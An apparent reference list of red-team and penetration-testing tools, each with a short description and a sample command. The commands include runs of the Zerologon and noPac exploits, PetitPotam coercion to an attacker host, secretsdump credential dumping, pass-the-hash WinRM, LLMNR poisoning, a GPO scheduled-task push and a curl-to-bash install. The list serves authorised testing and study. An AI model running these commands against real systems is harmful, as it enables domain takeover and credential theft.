Tools

Newer open-source, extensible C2 framework with a Java teamserver/GUI client and BOF support, positioned as a free adversary-simulation platform.

Coerces a target to authenticate back over HTTP, relays the credentials to the AD CS web enrolment endpoint, and returns a usable certificate — an all-in-one PetitPotam-to-ADCS chain.

ADCSPwn.exe --domain corp.local --port 8080

Maps Active Directory (and Azure AD) trust relationships as a graph, using graph theory to reveal attack paths to Domain Admin that are invisible in a flat user/group listing.

bloodhound-python -u user -p pass -d domain.local -ns 10.10.10.10 -c All

Python re-implementation of the SharpHound collector for Linux-based operators, gathering the same AD graph data without needing a Windows box.

bloodhound-python -u user -p pass -ns 10.10.10.5 -d corp.local -c all

Commercial adversary-simulation C2 built specifically around EDR/AV evasion (badger implants, custom syscall stubs); frequently referenced alongside Cobalt Strike in red team tradecraft discussions.

BLE sniffing and hijacking toolkit (needs a couple of cheap nRF51-based dongles) that can follow, jam and even take over an existing BLE connection.

btlejack -s

GhostPack tool for enumerating and abusing misconfigured Active Directory Certificate Services (AD CS) templates to obtain certificates for privilege escalation.

Certify.exe find /vulnerable

Enumerates and abuses Active Directory Certificate Services (AD CS) misconfigurations — the ESC1-ESC8 escalation paths that let a low-privileged user mint a Domain Admin certificate.

certipy find -u [email protected] -p pass -dc-ip 10.10.10.10 -vulnerable

Reports which exploit-mitigating protections (RELRO, stack canary, NX, PIE, RPATH) a binary was built with, the first thing to run against any new CTF pwn challenge.

checksec --file=./chall
# or from a pwntools script:
python3 -c "from pwn import *; print(ELF('./chall').checksec())"

Automates testing a Windows host for every known authentication-coercion method (PetitPotam and its many siblings) in one run, rather than trying each RPC method by hand.

coercer coerce -u user -p pass -d domain.local -t 10.10.10.10 -l 10.10.14.7

.NET C2 framework with a web-based teamserver, used to showcase and test .NET tradecraft and AMSI/ETW evasion techniques against Windows targets.

The original Active Directory assessment swiss-army-knife that NetExec forked from — still widely referenced in write-ups and older tooling even though NetExec is the maintained successor.

crackmapexec smb 10.10.10.0/24 -u user -p pass

Secura's reference exploit for Zerologon — resets a Domain Controller's machine account password to empty via the Netlogon protocol, effectively taking over the domain.

python3 zerologon_tester.py DC01 10.10.10.5

Go-based, open-source C2 framework with a web UI, aimed at giving smaller red teams a free alternative to commercial platforms.

Remotely dumps and decrypts Windows DPAPI-protected secrets (saved browser/RDP/Wi-Fi credentials, Credential Manager blobs) across a fleet of hosts.

donpapi collect -d corp.local -u user -p pass -t 10.10.10.0/24

Targeted rogue-AP toolkit for attacking WPA2-Enterprise networks — evil twin EAP portals to harvest credentials or relay them, plus PMKID/handshake capture for the WPA2-PSK case.

./eaphammer -i wlan0 --channel 6 --auth wpa-eap --essid CorpWiFi --creds

Post-exploitation and C2 framework (PowerShell/Python/C# agents) maintained by BC Security after the original PowerShell Empire project was discontinued; ships with a large stager and module library.

./ps-empire server

The standard WinRM shell for penetration testing — a full interactive PowerShell-like session over WinRM, with upload/download and Kerberos/pass-the-hash support built in.

evil-winrm -i 10.10.10.10 -u Administrator -H <ntlm-hash>

GhostPack tool that forges "golden certificates" from a compromised AD CS CA private key, minting arbitrary user certificates even after the CA cert is rotated.

Another exploit-dev focused GDB plugin, with heap/format-string/ropper helpers and a large command set; the main alternative to pwndbg.

bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

Generates a De Bruijn-style non-repeating pattern to feed a crashing binary, then recovers the exact byte offset to the overwritten return address/register from the crash value.

python3 -c "from pwn import *; print(cyclic(200))"
# after the crash, recover the offset from the corrupted value:
python3 -c "from pwn import *; print(cyclic_find(0x6161616161616161))"

A C# host-survey tool that checks a huge list of security-relevant settings and artefacts in one pass — AV/EDR presence, patch level, AppLocker, credential-storage locations and more.

.\Seatbelt.exe -group=all

An open-source phishing-simulation platform for authorised security-awareness testing — campaigns, templates, landing pages and click/report tracking in one dashboard.

Finds exploitable settings inside Active Directory Group Policy Objects — the GPO-focused counterpart to BloodHound's ACL/trust focus.

Grouper2.exe -f findings.html

A modern, modular command-and-control framework built for red-team operators, with a Qt-based teamserver client and a plugin system for custom modules.

A collection of Python classes for working with network protocols, and the toolset (secretsdump, psexec, GetUserSPNs, smbexec…) built on them — the backbone of most Windows/AD assessment tooling.

impacket-secretsdump DOMAIN/user:[email protected]

PowerShell/C# LLMNR, NBNS and mDNS spoofer for Windows-based operators — the Windows-side equivalent of Responder, with an interactive console.

Import-Module .\Inveigh.ps1; Invoke-Inveigh -NBNS Y -LLMNR Y

Quickly bruteforces and enumerates valid Active Directory usernames via Kerberos pre-authentication — much quieter than an LDAP bind sweep since failed guesses barely touch the event log.

kerbrute userenum -d domain.local --dc 10.10.10.10 users.txt

JScript/VBScript-based C2 ("COM Command & Control") that lives almost entirely off Windows Script Host, useful for living-off-the-land style tradecraft demos.

python2 koadic.py

Enumerates which computer accounts have LAPS-managed local admin passwords readable by the current user and dumps them over LDAP.

python3 laps.py -u user -p pass -d corp.local

Searches Exchange/Office 365 mailboxes for sensitive strings (passwords, "VPN", etc) and can password-spray OWA/EWS — post-compromise mailbox pillaging in one PowerShell module.

Invoke-SelfSearch -Mailbox [email protected] -Terms "password"

Rust/Go C2 framework with a web management panel, generating implants for Windows and Linux; documented as active in real intrusions as well as red team use.

Cross-platform Go-based C2 that leans on HTTP/2, HTTP/3 and QUIC transports to blend into modern web traffic.

go run cmd/merlinserver/main.go -i

The world's most widely used penetration-testing framework — thousands of exploit and auxiliary modules, a scriptable console, and Meterpreter as its post-exploitation payload.

msfconsole -q -x "use exploit/multi/handler; run"

A collaborative, plugin-based command-and-control framework — rather than shipping one implant, Mythic hosts multiple community-built agents (Apollo, Poseidon, Medusa…) behind one operator UI.

The successor to CrackMapExec — a swiss-army-knife for testing large Active Directory networks: credential spraying, command execution, share enumeration, all across a whole subnet at once.

nxc smb 10.10.10.0/24 -u user -p pass --shares

Chains the sAMAccountName spoofing (CVE-2021-42278) and CVE-2021-42287 KDC bugs into a one-shot domain-admin-from-domain-user exploit against unpatched Active Directory.

python3 noPac.py corp.local/user:pass -dc-ip 10.10.10.5 -shell

Open-source AWS exploitation framework for offensive security testing of AWS environments — enumeration, privilege escalation and persistence modules against a real or lab AWS account.

pacu

A proof-of-concept for coercing a Windows host into authenticating to an attacker-controlled machine via the MS-EFSRPC API — often chained with AD CS relay attacks for domain compromise.

python3 PetitPotam.py 10.10.14.7 10.10.10.10

Python tools for requesting Kerberos TGTs via PKINIT with a certificate (including forged ones) and converting the resulting credential into a usable NT hash or ticket.

python3 gettgtpkinit.py -cert-pfx cert.pfx corp.local/user out.ccache

Proxy-aware C2 framework built around PowerShell and C# implants, with built-in modules for AD enumeration and lateral movement.

poshc2 -q default

A post-exploitation and C2 framework built around PowerShell (and Python) agents — one of the tools that popularised "living off the land" tradecraft in red-team engagements.

PowerShell toolkit for discovering and attacking Microsoft SQL Server — instance enumeration, weak login brute-forcing, and abusing linked servers for lateral movement.

Get-SQLInstanceDomain | Get-SQLServerLinkCrawl

A PowerShell library for Active Directory situational awareness — domain trusts, group memberships, ACLs and GPOs — that predates BloodHound and still turns up in a lot of AD tradecraft.

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

PowerShell (PowerView, from PowerSploit) and C# (SharpView) tooling for interactively enumerating AD users, groups, ACLs and trusts from a compromised session.

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

Cross-platform (Windows/Linux/macOS/Android) open-source RAT and post-exploitation tool with a Python-based, reflectively-injected agent.

Post-exploitation platform that upgrades a raw reverse/bind shell into a persistent, scriptable session with file transfer, privesc enumeration and a local C2-style console.

pwncat-cs -lp 4444

An LLMNR, NBT-NS and MDNS poisoner that harvests NTLM credential hashes from Windows networks that still fall back to these legacy name-resolution protocols.

sudo responder -I eth0 -wrf

Automatic ROP chain generator that reasons about gadget semantics rather than just pattern-matching mnemonics, so it can combine several gadgets to satisfy a constraint no single gadget meets.

A C# toolset for raw Kerberos interaction and abuse — Kerberoasting, AS-REP roasting, ticket forging and pass-the-ticket, the standard reference implementation for Windows AD Kerberos attacks.

Rubeus.exe kerberoast /outfile:hashes.txt

GhostPack C# host-survey tool — dozens of checks (AV, patches, tokens, AppLocker, WSUS, etc) run in one pass to build a picture of a landed Windows host.

Seatbelt.exe -group=all

Abuses GPO edit rights a low-privileged account was granted, pushing a malicious immediate scheduled task/user right to any computer the GPO applies to.

SharpGPOAbuse.exe --AddComputerTask --TaskName evil --Author corp\user --Command cmd.exe --GPOName "Default Domain Policy"

The C# data-collector for BloodHound — run on or against a domain-joined host to gather the sessions, ACLs and group data BloodHound turns into an attack-path graph.

.\SharpHound.exe -c All

C# port of PowerUp — automated checks for common Windows local privilege-escalation vectors (unquoted service paths, weak service ACLs, AlwaysInstallElevated, etc).

SharpUp.exe audit

Post-exploitation C2 using IronPython/.NET (BoO — "Bring your Own Interpreter") to dodge signature-based detection of PowerShell and classic .NET loaders.

An open-source, cross-platform adversary-emulation (C2) framework from BishopFox — implants, dynamic code generation and a scriptable operator console for authorised red-team exercises.

Crawls every SMB share a compromised user can reach and greps for credentials, config secrets and other juicy files, ranking hits by how interesting they look.

Snaffler.exe -d corp.local -o snaffler.log

Turns a bare reverse/bind shell into a full interactive TTY with job control, tab completion and arrow keys.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background it and fix the terminal:
# ^Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

Terminal-based C2 for managing and pivoting between multiple reverse/bind shells over HoaxShell-style HTTP payloads, with shell sharing between attacker machines.

python3 Villain.py

Adds/lists/removes "Shadow Credentials" (msDS-KeyCredentialLink) on an AD object to authenticate as it via PKINIT without knowing its password.

Whisker.exe add /target:victim$

Rogue access point framework built around social-engineering captive portals (fake firmware upgrade, router config pages) rather than brute-forcing the handshake.

sudo wifiphisher -aI wlan0 -jI wlan1 -p firmware-upgrade